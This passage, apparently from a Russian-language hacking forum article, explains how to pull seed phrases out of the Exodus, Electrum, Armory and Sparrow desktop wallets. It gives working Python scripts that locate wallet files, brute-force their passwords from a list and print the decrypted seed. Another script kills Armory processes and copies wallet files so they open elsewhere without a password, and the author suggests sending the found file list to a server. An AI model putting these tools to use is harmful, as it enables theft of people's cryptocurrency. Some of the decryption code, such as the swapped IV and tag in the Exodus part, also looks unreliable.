salt = metadata_data[offset:offset + 32]
offset += 32
print(f"[{timestamp}] Metadata salt: {salt.hex()}")
n, r, p = struct.unpack(">III", metadata_data[offset:offset + 12])
offset += 12
print(f"[{timestamp}] Metadata scrypt parameters: n={n}, r={r}, p={p}")
cipher = metadata_data[offset:offset + 32].rstrip(b'\x00').decode('ascii')
offset += 32
print(f"[{timestamp}] Metadata cipher: {cipher}")
blob_key_iv = metadata_data[offset:offset + 13]
offset += 13
print(f"[{timestamp}] Metadata blob key IV: {blob_key_iv.hex()}")
blob_key_auth_tag = metadata_data[offset:offset + 16]
offset += 16
print(f"[{timestamp}] Metadata blob key auth tag: {blob_key_auth_tag.hex()}")
blob_key_key = metadata_data[offset:offset + 32]
offset += 32
print(f"[{timestamp}] Metadata blob key: {blob_key_key.hex()}")
blob_iv = metadata_data[offset:offset + IV_LEN_BYTES]
offset += IV_LEN_BYTES
print(f"[{timestamp}] Metadata blob IV: {blob_iv.hex()}")
blob_auth_tag = metadata_data[offset:offset + 16]
print(f"[{timestamp}] Metadata blob auth tag: {blob_auth_tag.hex()}")
return {
'scrypt': {'salt': salt, 'n': n, 'r': r, 'p': p},
'cipher': cipher,
'blobKey': {'iv': blob_key_iv, 'authTag': blob_key_auth_tag, 'key': blob_key_key},
'blob': {'iv': blob_iv, 'authTag': blob_auth_tag}
}
Метод decode_metadata обрабатывает метаданные, опираясь на константу METADATA_LEN_BYTES = 256. Он извлекает соль (32 байта), параметры scrypt (например, n=16384, r=8, p=1), тип шифра (aes-256-gcm) и два набора данных: для BlobKey и blob. Для BlobKey инициализационный вектор берётся как 13 байт, а для blob — как IV_LEN_BYTES = 12. Каждый набор включает тег аутентификации (16 байт) и зашифрованные данные. Метод проверяет длину метаданных и возвращает словарь для extract_mnemonic. Если длина неверная, он вызывает ошибку.
Следующий на очереди decrypt_blob_key:
Python:
def decrypt_blob_key(self, passphrase, blob_key_data, scrypt_params):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] Decrypting blob key with passphrase, params: n={scrypt_params['n']}, r={scrypt_params['r']}, p={scrypt_params['p']}, salt={scrypt_params['salt'].hex()}")
print(f"[{timestamp}] Original passphrase: [hidden]")
passphrase = passphrase.encode('utf-8')
print(f"[{timestamp}] Passphrase (in hex): {passphrase.hex()}")
modified_salt = scrypt_params['salt'][:30] + b'\x00\x00'
print(f"[{timestamp}] Modified salt: {modified_salt.hex()}")
key = scrypt.hash(
password=passphrase,
salt=modified_salt,
N=scrypt_params['n'],
r=scrypt_params['r'] * 2,
p=scrypt_params['p'],
buflen=32
)
print(f"[{timestamp}] Derived key length: {len(key)} bytes, value: {key.hex()}")
print(f"[{timestamp}] Blob key data: key={blob_key_data['key'].hex()}, iv={blob_key_data['iv'].hex()}, authTag={blob_key_data['authTag'].hex()}")
cipher = Cipher(
algorithms.AES(key),
modes.GCM(blob_key_data['iv'], blob_key_data['authTag'])
)
decryptor = cipher.decryptor()
blob_key = decryptor.update(blob_key_data['key']) + decryptor.finalize()
print(f"[{timestamp}] Blob key successfully decrypted, length: {len(blob_key)} bytes")
return blob_key
Метод decrypt_blob_key расшифровывает BlobKey. Он кодирует пароль в UTF-8, модифицирует соль, усекает её до 30 байт и добавляет два нулевых байта для безопасности. Затем прогоняет пароль через scrypt с изменённой солью и удвоенным параметром r, создавая 32-байтовый ключ. Этот ключ используется с AES-256-GCM, где вектор инициализации — 13 байт (из decode_metadata). Метод расшифровывает BlobKey, проверяя целостность через тег аутентификации. Если пароль неверный, расшифровка не удаётся, и extract_mnemonic получает None. Если всё проходит, возвращается BlobKey.
Теперь decrypt_blob:
Python:
def decrypt_blob(self, blob, blob_key, blob_data):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] Decrypting blob, length: {len(blob)} bytes, iv={blob_data['iv'].hex()}, authTag={blob_data['authTag'].hex()}")
print(f"[{timestamp}] Blob key length: {len(blob_key)} bytes")
cipher = Cipher(
algorithms.AES(blob_key),
modes.GCM(blob_data['authTag'], blob_data['iv'])
)
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(blob) + decryptor.finalize()
print(f"[{timestamp}] Blob successfully decrypted, length: {len(decrypted_data)} bytes")
return decrypted_data
Метод decrypt_blob расшифровывает blob, используя BlobKey. Он применяет AES-256-GCM с тегом аутентификации как вектором инициализации и наоборот, что является особенностью реализации. На выходе метод выдаёт сжатые данные для дальнейшей обработки.
И последний метод shrink, котрый просто убирает 4-байтовый заголовок длины:
Python:
def shrink(self, data):
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] Shrinking data, length: {len(data)} bytes")
if len(data) < 4:
print(f"[{timestamp}] Data too short for shrinking: {len(data)} bytes")
raise ValueError(f"Data too short for shrinking: {len(data)} bytes")
length = struct.unpack(">I", data[:4])[0]
length -= 1
print(f"[{timestamp}] Extracted length from data: {length}")
if length + 4 > len(data):
print(f"[{timestamp}] Invalid length in data: {length}, total length: {len(data)}")
raise ValueError(f"Invalid length in data: {length}")
shrinked = b''
for i in range(4, length + 4, 2):
shrinked += data[i:i+1]
print(f"[{timestamp}] Data shrinked, new length: {len(shrinked)} bytes")
return shrinked
Точнее он проверяет, достаточно ли данных, извлекает длину и возвращает только нужную часть, чтобы подготовить данные для распаковки.
Давайте протестриуем работает ли мой код:
Как видите все работает нормально, exodus_extract.py переберает пароли, а в seco_like.py их рассшифровывает.
Получение фразы Electrum
Погнали дальше, и на очереди у нас Electrum — это тот подвид кошельков, которые обещает нам гигантскую безопасность, и мульти подписать и уничтожение данных, короче, типа он суперкрутой и вообще сусурити. Но давай разберёмся, правда ли это, или это просто громкие слова. Честно, когда я копнул в его безопасность seed фразы, меня это чуть ли не рассмешило.
Electrum даёт тебе выбор: создавай кошелёк с паролем или без.
Варинт без пароля
И вот тут начинается комедия. Если ты ленишься и не ставишь пароль, seed-фраза тупо лежит в открытом виде в файле по пути C:\Users\<Имя_пользователя>\AppData\Roaming\Electrum\wallets\default_wallet. Серьёзно, лол, они даже не попытались хоть как-то зашифровать данные, как делают другие кошельки! Всё на блюдечке: открыл файл, взял фразу, и привет, твои монеты уже не твои. Конечно, если пароль есть, всё посложнее, но без него — это просто какая-то шутка, а не безопасность.
Варинт с паролем
Ну что ж, давай разберёмся, что происходит, если пользователь нашего "супербезопасного" кошелька Electrum всё-таки заморочился и поставил пароль. Сложно ли будет его сбрутить? Мой ответ — нет, хотя, честно, кое-какие заморочки всё же есть. Давай копнём, как Electrum шифрует данные, и посмотрим, что к чему, а заодно разберём, как можно подойти к расшифровке.
В Electrum, если ты ставишь пароль, файл default_wallet в папке C:\Users\<Имя_пользователя>\AppData\Roaming\Electrum\wallets\default_wallet не лежит в открытом виде, как в случае отсутствия пароля. Вместо этого seed-фраза шифруется, и тут в игру вступает AES — стандартный алгоритм шифрования. Но есть подвох: default_wallet имеет свой особый формат, и нормально работать с ним могут только встроенные методы самого Electrum. Это значит, что для брутфорса или расшифровки тебе придётся либо скриптовать прямо внутри репозитория кошелька — вот он, кстати, https://github.com/spesmilo/electrum — либо выдирать методы инициализации базы данных и переписывать их под себя. Я, если честно, не буду тут заморачиваться с полным переписыванием, это уже для самых упорных. Так вот, после инициализации этой базы из файла можно вытащить зашифрованную строку seed-фразы и версию хеширования пароля. От версии зависит, как пароль превращается в ключ для шифрования. К примеру, в версии 1 пароль кодируется через SHA-256, а точнее, через двойное применение SHA-256, чтобы получить ключ.
Теперь про сам процесс шифрования. Seed-фраза сначала кодируется в Base64 — это первый слой. Если раскодировать Base64, из первых 16 байт ты получаешь вектор инициализации, он же IV, нужный для режима AES-CBC. Остальные байты — это уже зашифрованные данные. Теперь про ключ. Пароль хешируется, и в версии. Кошелек берет пароль, прогоняют его через SHA-256, получают хеш, а потом этот хеш ещё раз прогоняют через SHA-256. Итог — 32 байта, которые и становятся ключом для шифрования. Почему двойной SHA-256? Чтобы усложнить жизнь тем, кто захочет подобрать пароль по нему.
Дальше в дело вступает AES. AES разбивает seed-фразу на блоки по 16 байт. Но перед шифрованием первого блока Electrum берёт тот самый IV, вектор инициализации, и смешивает его с первым блоком данных. Потом этот смешанный блок шифруется с помощью ключа через алгоритм AES.
Но это ещё не всё. После шифрования AES добавляет паддинг — лишние байты, чтобы последний блок данных был ровно 16 байт, как требует AES. Electrum использует стандарт PKCS#5/PKCS#7: если нужно добавить, скажем, 5 байт, каждый из них будет числом 5. Это помогает потом, при расшифровке, понять, где кончаются настоящие данные и начинается "набивка". Итог: seed-фраза, закодированная в Base64, содержит IV и зашифрованные блоки, которые без правильного ключа — просто мусор.
Если ты хочешь расшифровать, нужно всё провернуть назад. Берёшь пароль, хешируешь его через двойной SHA-256, получаешь ключ. Раскодируешь Base64-строку из default_wallet, выдираешь первые 16 байт как IV, а остальное — как зашифрованные данные. Создаёшь AES-шифр в режиме CBC с этим ключом и IV, расшифровываешь блоки, учитывая цепочку CBC, снимаешь паддинг — и, если пароль верный, получаешь seed-фразу. Неправильный пароль? Получишь белиберду или ошибку.
Инструмет для брута пароля
Мы с вами разобрались, как работают шифрование и расшифровка фразы. Давайте поговорим о практической реализации. Я написал код для получения и расшифровки пароля из default_wallet.
Для начала, чтобы написать скрипт, я изучил репозиторий https://github.com/spesmilo/electrum и решил разместить скрипт прямо в папке electrum, чтобы без проблем использовать их встроенные модули. Однако, если хотите, можете попробовать установить Electrum как библиотеку. Затем я подключил несколько Python-библиотек: hashlib для хеширования пароля через SHA-256, как того требует Electrum, Crypto.Cipher с модулем AES для расшифровки данных в режиме CBC, base64 для декодирования seed-фразы, а также electrum.storage и electrum.wallet_db из самой библиотеки Electrum для аккуратной загрузки и обработки файла кошелька.
Вот мой код:
Python:
import os
from hashlib import sha256
from Crypto.Cipher import AES
from electrum.storage import WalletStorage
from electrum.wallet_db import WalletDB
import base64
WALLET_PATHS = [
r"C:\Users\Administrator\AppData\Roaming\Electrum\wallets\default_wallet",
r"C:\Users\Administrator\AppData\Roaming\Electrum\testnet\wallets\default_wallet"
]
PASSWORDS_FILE = "passwords.txt"
ENCODING = "utf-8"
def to_bytes(data, encoding=ENCODING):
return data if isinstance(data, bytes) else data.encode(encoding)
def hash_password(password):
pw = to_bytes(password)
return sha256(sha256(pw).digest()).digest()
def decrypt_data(data_bytes, password):
'''Decrypt data using AES'''
secret = hash_password(password)
iv, ciphertext = data_bytes[:16], data_bytes[16:]
cipher = AES.new(secret, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
return decrypted[:-decrypted[-1]]
def decrypt_wallet_seed(encrypted_seed, password):
data_bytes = base64.b64decode(encrypted_seed, validate=True)
decrypted_bytes = decrypt_data(data_bytes, password)
return True, decrypted_bytes.decode(ENCODING)
def load_passwords(file_path=PASSWORDS_FILE):
try:
with open(file_path, "r", encoding=f"{ENCODING}-sig") as f:
return [line.strip() for line in f if line.strip()]
except FileNotFoundError:
raise Exception(f"Password file not found: {file_path}")
def find_wallet_file(wallet_paths=WALLET_PATHS):
for path in wallet_paths:
if WalletStorage(path).file_exists():
return path
raise Exception("Wallet file not found.")
def load_wallet_db(storage):
try:
db = WalletDB(storage.read(), storage=storage)
return db
except Exception:
print("Wallet requires upgrading...")
try:
db = WalletDB(storage.read(), storage=storage, upgrade=True)
storage.write(db.dump())
print("Wallet upgraded successfully.")
return db
except Exception as e:
raise Exception(f"Upgrade error: {e}")
def brute_force_seed(passwords):
try:
wallet_path = find_wallet_file()
storage = WalletStorage(wallet_path)
for password in passwords:
print(f"Checking password: {password}")
if storage.is_encrypted():
print("Wallet is encrypted, attempting to decrypt...")
try:
storage.decrypt(password)
except Exception:
print("Password incorrect for wallet decryption")
continue
else:
print("Wallet is not encrypted.")
break
db = load_wallet_db(storage)
if not db:
continue
wallet_type = db.get('wallet_type', 'not defined')
encrypted_seed = db.get('seed') or db.get('keystore', {}).get('seed')
if not encrypted_seed:
print("Seed not found in wallet or 'keystore'.")
continue
success, result = decrypt_wallet_seed(encrypted_seed, str(password))
if success:
print(f"Correct password found: {password}")
print(f"Decryption result: {result}")
return password, result
print(f"Password incorrect for seed: {result}")
return None, None
except Exception as e:
print(f"Error processing wallet data: {e}")
return None, None
if __name__ == "__main__":
passwords = load_passwords()
brute_force_seed(passwords)
Проверяем:
Сначала скрипт проверяет текущую директорию, чтобы найти файл passwords.txt, в котором хранятся пароли для перебора. Я заранее указал возможные пути к файлам кошелька, например, C:\Users\Administrator\AppData\Roaming\Electrum\wallets\default_wallet или testnet\wallets\default_wallet, но вы, конечно, можете заменить их на свои. Как только скрипт находит файл кошелька, он загружает его хранилище с помощью класса WalletStorage из библиотеки Electrum и приступает к перебору паролей. Для каждого пароля сначала проверяется, зашифровано ли хранилище. Если нет, то seed-фраза уже доступна в открытом виде, и дальнейшие действия не требуются. Если же хранилище зашифровано, скрипт пытается расшифровать его с использованием текущего пароля. В случае неудачи он переходит к следующему варианту без лишних задержек.
Когда подходящий пароль найден, начинается процесс извлечения seed-фразы. Скрипт ищет её в хранилище по ключам 'seed' или в разделе 'keystore'. Обычно фраза присутствует, но я предусмотрел случай, когда структура файла могла измениться, например, в старых версиях или после обновлений кошелька. В таком случае скрипт выведет сообщение и продолжит работу. Поскольку seed-фраза зашифрована, код сначала декодирует её из Base64, извлекая первые 16 байт, которые Electrum использует как вектор инициализации для AES. Затем на основе пароля генерируется ключ путём двойного хеширования SHA-256, как это реализовано в самом кошельке, в результате чего получаются 32 байта для расшифровки. Далее ключ применяется в режиме AES-CBC, данные комбинируются с вектором инициализации, удаляется паддинг по стандарту PKCS#5/PKCS#7, и, если всё прошло успешно, на выходе получается чистая seed-фраза. Как только верный пароль и фраза найдены, скрипт выводит их на экран и завершает цикл.
Интересный момент: возможно, кто-то, знакомый с темой расшифровки криптокошельков, отметил бы, что можно было бы упростить процесс, используя, например, такой код:
Python:
wallet = Wallet(db, config=config)
if wallet.has_seed():
seed = wallet.get_seed(password)
Относительно шифрования замечу: я до сих пор не понимаю, зачем Electrum дважды хеширует пароль через SHA-256, ведь брутфорс остаётся возможным, и это хеширование, похоже, не усиливает защиту. Шифрование фразы с помощью AES выглядит достаточно надёжным, особенно с учётом режима CBC и паддинга. Однако тот факт, что без пароля seed-фраза может быть доступна в открытом виде в default_wallet, честно говоря, вызывает недоумение и немного разочаровывает.
Получение кошелька Armory
Поговорим про Armory — популярный кошелёк, заточенный исключительно под биткоины. Считается одним из ветеранов криптомира, ведь его разработка стартовала ещё в 2011 году. Но вот вопрос: при таком возрасте не устарела ли их безопасность? Давай разберёмся, что к чему, и проверим, насколько крепко Armory защищает твои монеты!
Когда создаёшь кошелёк, Armory запрашивает пароль, а seed-фраза сохраняется в файле с длинным именем, типа C:\Users<Имяпользователя>\AppData\Roaming\Armory\armory_2rjvAWGS3.wallet. Фраза, конечно, зашифрована — похоже, используется AES, но подробностей о шифровании ни в документации, ни на сайте ты не найдёшь. К счастью, исходники кошелька открыты и лежат на GitHub по адресу https://github.com/etotheipi/BitcoinArmory. Если покопаться в коде, можно выудить, как всё устроено, хотя это и не пятиминутное дело.
Пока я тестировал Armory, всплыла занятная штука. Если взять файл кошелька, например, armory_2rjvAWGS3_.wallet, и закинуть его в папку с данными Armory на другом компе, кошелёк открывается без всякого пароля. Но есть нюанс: сначала нужно вырубить все процессы Armory. Закрытие интерфейса не помогает — в системе остаются висеть процессы вроде ArmoryDB и ArmoryQt, которые надо гасить вручную или скриптом. Только после этого закидываешь файл, запускаешь Armory, и кошелёк грузится, как будто ничего и не менялось. Без пароля! Это, честно, удивило, ведь обычно кошельки просят пароль.
Ещё одна деталь: в интерфейсе Armory нет кнопки, чтобы скопировать seed-фразу и, скажем, импортировать её в другой кошелёк. Вместо этого для бэкапа дают Watch-Only Root ID и Watch-Only Root Data — штуки, которые позволяют следить за балансом и адресами, но без доступа к приватным ключам. Удобно для холодного хранения, но если хочешь просто перенести фразу в другой кошелёк — это лишняя головная боль.
В итоге я решил, что ломать голову над расшифровкой AES-зашифрованной фразы — пустая трата времени. Зачем, если можно просто скопировать файл кошелька и открыть его на другом компе без пароля? Поэтому я написал скрипт, который ищет и копирует эти файлы, и его я покажу ниже.
Инструмет для перноса кошелька
Пора рассказать про код, который я написал для работы с кошельками Armory. Решил не мелочиться и сразу написать на две функции — поиска и импорта файлов кошельков, чтобы всё было наглядно и практично. Для этого я подключил несколько Python-библиотек: os и shutil для работы с файлами, psutil для управления процессами, getpass чтобы получить имя текущего пользователя, и pathlib для удобной работы с путями.
Вот сам код:
Python:
import os
import shutil
import psutil
import getpass
from pathlib import Path
def find_armory_wallets():
username = getpass.getuser()
armory_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Armory"
if not os.path.exists(armory_path):
print(f"Folder {armory_path} not find")
return
wallet_files = [f for f in os.listdir(armory_path) if f.startswith('armory_') and f.endswith('.wallet')]
if wallet_files:
print("Found files wallet Armory:")
for wallet in wallet_files:
print(f"- {wallet}")
else:
print("Files wallets Armory not find")
def import_armory_wallets(source_folder=None):
if source_folder is None:
source_folder = os.path.dirname(os.path.abspath(__file__))
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower().startswith('armory'):
try:
proc.terminate()
print(f"Process {proc.info['name']} end")
except psutil.Error as e:
print(f"Error end process {proc.info['name']}: {e}")
username = getpass.getuser()
target_path = f"C:\\Users\\{username}\\AppData\\Roaming\\Armory"
os.makedirs(target_path, exist_ok=True)
source_wallets = [f for f in os.listdir(source_folder) if f.startswith('armory_') and f.endswith('.wallet')]
if not source_wallets:
print("There is no Armory wallet file in your folder")
return
for wallet in source_wallets:
source_file = os.path.join(source_folder, wallet)
target_file = os.path.join(target_path, wallet)
if os.path.exists(target_file):
print(f"Wallet {wallet} already imported")
else:
try:
shutil.copy2(source_file, target_file)
print(f"Wallet {wallet} successfully imported")
except Exception as e:
print(f"Error inported {wallet}: {e}")
if __name__ == "__main__":
print("Search Armory wallet file:")
find_armory_wallets()
print("Import wallet Armory:")
import_armory_wallets()
Проверяем работу скрипта:
Как я говорил выше в самом коде две функции импорта и поиска кошельков.
Функция find_armory_wallets заглядывает в папку C:\Users\<Имяпользователя>\AppData\Roaming\Armory, где Armory обычно хранит файлы кошельков. Если папка существует, код сканирует её и ищет файлы, которые начинаются с armory и заканчиваются на .wallet — это стандартный формат файлов кошельков Armory. Найденные файлы он просто выводит в консоль, для наглядности. В примере это чисто для теста, но, если захочешь, можно доработать функцию, чтобы, например, отправлять список файлов куда-нибудь на сервер. Если папки или файлов нет, скрипт честно скажет: «Ничего не найдено», и на этом всё.
Вторая функция, import_armory_wallets, уже поинтереснее — она занимается импортом кошельков. По умолчанию она берёт файлы кошельков из той же папки, где лежит сам скрипт, но ты можешь указать любую другую папку, передав её в параметре source_folder. Сначала код ищет и вырубает все процессы, связанные с Armory. Если такой процесс найден, скрипт пытается его завершить и сообщает, получилось или нет. Затем код проверяет source_folder на наличие файлов кошельков с нужным форматом (armory_*.wallet). Если таких файлов нет, ты получишь сообщение, что копировать нечего. Если файлы есть, скрипт по очереди пробует скопировать каждый в папку Armory. Перед копированием он проверяет, не лежит ли уже такой файл в целевой папке — если лежит, код пропускает его, чтобы не перезаписывать.
Получение фразы Sparrow
Последним я разберу Sparrow. Sparrow — это кошелёк, который ориентирован на безопасность (да, да, они все так говорят, Electrum подтвердит). Он умеет в оффлайн-транзакции, дружит с аппаратными кошельками вроде Ledger, да ещё и подключается к твоему собственному Bitcoin-узлу через Tor, чтобы никто не подглядел. Звучит круто, но вот вопрос: а насколько надёжно он прячет наши драгоценные seed-фразы, или вся эта безопасность — лишь громкие слова?
Это мы и проверим. Написан наш поциент на Java и имеет открытый исходный код, доступный на GitHub по адресу https://github.com/sparrowwallet/sparrow/. Для тех, кто любит заглянуть под капот, это прям находка. Этот кошелёк хранит данные в папке C:\Users\<Имя_пользователя>\AppData\Roaming\Sparrow\wallets, используя формат mv.db. Это не просто файлик, а целая база данных H2 Database, эдакий SQL для Java.
Когда ты создаёшь кошелёк, Sparrow ненавязчиво спрашивает: «Пароль будешь ставить или как?» И тут начинается самое интересное. Если ты ленишься и говоришь: «Да ну, без пароля сойдёт», то база mv.db лежит себе в открытом виде, что делает её уязвимой.
Получение данных кошелька без пароля
В случае если ты не поставил пароль, содержимое файла можно открыть через спецпрограммы вроде H2 Database Engine, или даже просто в текстовом редакторе, например, в Блокноте. При открытии файла в текстовом виде можно найти строку, содержащую seed-фразу.
Эта строка выглядит примерно так:
JSON:
VCREATE PRIMARY KEY "wallet_master"."PRIMARY_KEY_BDB" ON "wallet_master"."wallet"("id") 0 !zCREATE INDEX "wallet_master"."blockTransaction_wallet_INDEX_8" ON "wallet_master"."blockTransaction"("wallet" NULLS FIRST) !&( 1KDefaultOwpkh(BIP39) ¾&– 1 card report marine cross bleak found famous garment skate security ceiling pledge veteran grab donkey panic raccoon duty lecture hello year twenty confirm moral
В этой строке, среди технических данных, связанных с настройкой базы, содержится фраза, например как у меня: «card report marine cross bleak found famous garment skate security ceiling pledge veteran grab donkey panic raccoon duty lecture hello year twenty confirm moral». Поскольку она хранится в открытом виде, любой, кто получит доступ к файлу mv.db, может легко извлечь фразу и получить полный контроль над кошельком, включая доступ к приватным ключам и твои монеты.
Получение данных кошелька с паролем
Теперь, если ты всё-таки озаботился безопасностью и поставил пароль, Sparrow шифрует базу mv.db, и тут уже просто так в Блокноте не покопаешься. Когда ты устанавливаешь пароль в Sparrow, база данных mv.db шифруется с использованием встроенного механизма H2 Database. Он работает стандартно: Данные разбиваются на блоки по 16 байт, каждый блок смешивается с предыдущим зашифрованным блоком (или с начальным вектором инициализации для первого блока), а затем шифруется с помощью ключа, который зависит от твоего пароля. Чтобы всё это работало, H2 использует пароль пользователя, который преобразуется в криптографический ключ, но тут есть ещё один важный ингредиент — хеш.
Если ты попробуешь подключиться к зашифрованной базе mv.db, тебе понадобится строка подключения вида:
Код:
jdbc:h2:file:/C:/Users/Administrator/AppData/Roaming/Sparrow/wallets/wallet;CIPHER=AES
В дело вступает Argon2, алгоритм, который в 2015 году порвал всех на конкурсе Password Hashing Competition, и, хоть я с подозрением отношусь к новым алогоритмам хеширования, этот выглядит неплохо. Sparrow берёт твой пароль и прогоняет его через Argon2id, задавая количество итераций, объём памяти и степень параллелизма, чтобы нам с вами видимо жизнь не казалась мёдом. В итоге выходит хеш фиксированной длины, который смешивается с паролем, и эта смесь превращается в 256-битный ключ для AES. Соль, которую Sparrow хранит прямо в базе, добавляет перца, чтобы одинаковые пароли давали разные ключи.
Теперь про сам процесс расшифровки. Sparrow использует этот ключ вместе с начальным вектором инициализации, который тоже спрятан в базе, чтобы запустить AES в режиме CBC. Зашифрованные блоки базы проходят через мясорубку алгоритма, каждый расшифровывается и цепляется к предыдущему, пока не вылезет чистый текст. Если всё сошлось, ты получаешь доступ к базе, а там, в таблице wallet_master, уютно лежит seed-фраза, готовая к использованию. Если пароль или хеш неверные, H2 выдаст ошибку, и данные останутся недоступными.
Инструмент для получения фразы Sparrow
Когда я решил написать скрипт для Sparrow и вытащить seed-фразу из его базы mv.db, я сразу понял, что без глубокого погружения в дебри H2 Database. Для работы с базой я выбрал клиент h2-2.3.230.jar, который можно скачать прямо с https://www.h2database.com/html/download.html — самый распространенный клиент, но вы можете переписать скрипт под свой клиент. Для полноты примера я написал скрипт, который ищет как зашифрованные кошельки, так и те, что лежат без защиты, а если база всё-таки зашифрована, начинает перебирать пароли и расшифровывать данные. Для генерации хеша подключил библиотеку argon2, которая справляется с Argon2id, а для работы с базой использовал jaydebeapi, чтобы запускать JDBC-подключение с нужным ключом.
Вот сам мой код:
Python:
import os
from pathlib import Path
import argon2
import jaydebeapi
import binascii
import sys
USER_HOME = os.path.expanduser("~")
WALLET_DIR = os.path.join(USER_HOME, r"AppData\Roaming\Sparrow\wallets")
H2_JAR = r"C:\Users\Administrator\Documents\h2-2.3.230.jar"
PASSWORD_FILE = "passwords.txt"
def is_encrypted(file_path):
try:
with open(file_path, 'rb') as f:
data = f.read(100)
return b'H2encrypt' in data, data
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None, None
def get_salt(file_path, offset=9):
try:
with open(file_path, 'rb') as f:
header = f.read(100)
if not header.startswith(b'H2encrypt'):
print(f"{file_path} is not encrypted with H2encrypt")
return None, header
salt = header[offset:offset+16]
if len(salt) != 16:
print(f"Error: salt is {len(salt)} bytes, expected 16")
return None, header
return salt, header
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None, None
def check_file_data(file_path, offset=41):
try:
with open(file_path, 'rb') as f:
file_size = os.path.getsize(file_path)
f.seek(offset)
data = f.read()
print(f"File: {file_size} bytes, data: {len(data)} bytes")
nonzero_bytes = sum(1 for b in data if b != 0)
print(f"Non-zero bytes: {nonzero_bytes}/{len(data)}")
print(f"First 64 bytes (hex): {binascii.hexlify(data[:64]).decode()}")
if nonzero_bytes == 0:
print("Error: data is empty or corrupted")
return False
return True
except Exception as e:
print(f"Error analyzing {file_path}: {e}")
return False
def generate_key(password, salt):
try:
hasher = argon2.low_level.hash_secret_raw(
secret=password.encode('utf-8'),
salt=salt,
time_cost=10,
memory_cost=64 * 1024,
parallelism=4,
hash_len=32,
type=argon2.low_level.Type.ID
)
combined = hasher + password.encode('utf-8')[:32]
return combined[:32]
except Exception as e:
print(f"Error generating key: {e}")
return None
def connect_to_db(file_path, key, password):
try:
key_hex = binascii.hexlify(key).decode()
db_name = os.path.splitext(os.path.basename(file_path))[0]
db_path = os.path.dirname(file_path)
jdbc_url = f"jdbc:h2:file:{db_path}/{db_name};CIPHER=AES"
h2_password = f"{password} {key_hex}"
if not os.environ.get('JAVA_HOME'):
print("Error: JAVA_HOME is not set")
return None
if not os.path.exists(H2_JAR):
print(f"Error: H2 JAR not found ({H2_JAR})")
return None
conn = jaydebeapi.connect(
"org.h2.Driver",
jdbc_url,
[h2_password, ""],
H2_JAR
)
cursor = conn.cursor()
cursor.execute("SELECT seed FROM wallet_master LIMIT 1")
seed = cursor.fetchone()
cursor.close()
conn.close()
if seed:
print(f"Success! Seed: {seed[0]}")
return seed[0]
print("Seed not found in wallet_master")
return None
except Exception as e:
print(f"Error connecting to {file_path}: {e}")
return None
def test_passwords(file_path, salt, header, extra_passwords=None):
try:
with open(PASSWORD_FILE, 'r', encoding='utf-8') as f:
passwords = [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"Error reading {PASSWORD_FILE}: {e}")
return None
if extra_passwords:
passwords.extend(extra_passwords)
for password in passwords:
print(f"Trying password: {password}")
if not check_file_data(file_path):
break
key = generate_key(password, salt)
if key:
seed = connect_to_db(file_path, key, password)
if seed:
return seed
print("Passwords did not match")
return None
def process_wallet_files(extra_passwords=None):
if not os.path.exists(WALLET_DIR):
print(f"Directory {WALLET_DIR} not found")
return
for root, _, files in os.walk(WALLET_DIR):
for file in files:
if not file.endswith('.mv.db'):
continue
file_path = os.path.join(root, file)
encrypted, header = is_encrypted(file_path)
if encrypted is None:
print(f"{file_path}: could not open")
continue
if not encrypted:
print(f"{file_path}: not encrypted")
continue
print(f"{file_path}: encrypted")
for offset in [9, 10]:
salt, header = get_salt(file_path, offset)
if salt:
seed = test_passwords(file_path, salt, header, extra_passwords)
if seed:
print(f"Decrypted! Seed: {seed}")
break
if __name__ == "__main__":
extra_passwords = sys.argv[1:] if len(sys.argv) > 1 else None
process_wallet_files(extra_passwords)
Проверяем работу скрипта:
Мой скрипт стартует с того, что заглядывает в папку C:\Users\<Имя_пользователя>\AppData\Roaming\Sparrow\wallets, где Sparrow хранит свои файлы mv.db. Он пробегает по всем файлам и первым делом проверяет заголовок: если в первых ста байтах есть магическая строка H2encrypt, значит, база зашифрована, и пора готовиться к рассшифровке. Если заголовка нет, кошелёк лежит в открытом виде, и можно выдохнуть — но обычно таких подарков обычно не бывает. Когда скрипт подтверждает, что база зашифрована, он переходит к следующему шагу: вытаскивает соль, которая спрятана в файле, обычно на смещении 9 или 10 байт, и готовит её для работы. Соль — это 16 случайных байт, которые Sparrow использует для хеширования пароля, и без неё ключ не собрать.
Дальше начинается самое вкусное — генерация ключа и перебор паролей. Скрипт загружает список паролей из файла passwords.txt, который лежит рядом, и, если ты передал дополнительные пароли через аргументы командной строки, добавляет их в очередь. Для каждого пароля он вызывает Argon2id, прогоняя пароль с солью через параметры, которые я подкрутил для баланса скорости и надёжности: 10 итераций, 64 мегабайта памяти и 4 потока параллелизма. Argon2id выдаёт 32-байтовый хеш, который смешивается с паролем, и из этой смеси формируется 256-битный ключ для AES. С этим ключом скрипт строит строку подключения к базе, что-то вроде jdbc:h2:file:<путькфайлу>;CIPHER=AES, и через jaydebeapi пытается открыть базу, подсовывая пароль и ключ в шестнадцатеричном виде. Если всё подошло, он делает запрос к таблице wallet_master, получает seed-фразу и выводит её на экран. Если пароль не подошёл, jaydebeapi выдаёт ошибку, и скрипт спокойно идёт к следующему варианту, не теряя времени.
Мой скрипт лишь тестовый и при обновлении может не работать, ведь Sparrow постоянно дорабатывается, так что, если хочешь разобраться сам, загляни в исходники по ссылке https://github.com/sparrowwallet/sparrow/ или попробуй заняться реверсом файла mv.db — там, поверь, есть где развернуться.
Вывод про кошельки
На этом я заканчиваю разбор того, как извлекать seed-фразы из криптокошельков(и немного разбор безпасности самих кошельков, хаха). Кто-то, возможно, скажет, что четыре кошелька — маловато, но, честно говоря, такие известные имена, как Armory, Exodus, Electrum и Sparrow, — уже отличный пример, чтобы понять, как всё устроено. Из популярных остались, пожалуй, только Atomic, Guarda или ZelCore, но там всё довольно скучно: фразы хранятся в Local Storage, разумеется, зашифрованные, но копаться в этом не особо увлекательно. Есть, конечно, менее известные примеры, но вряд ли они вам будут интересны.
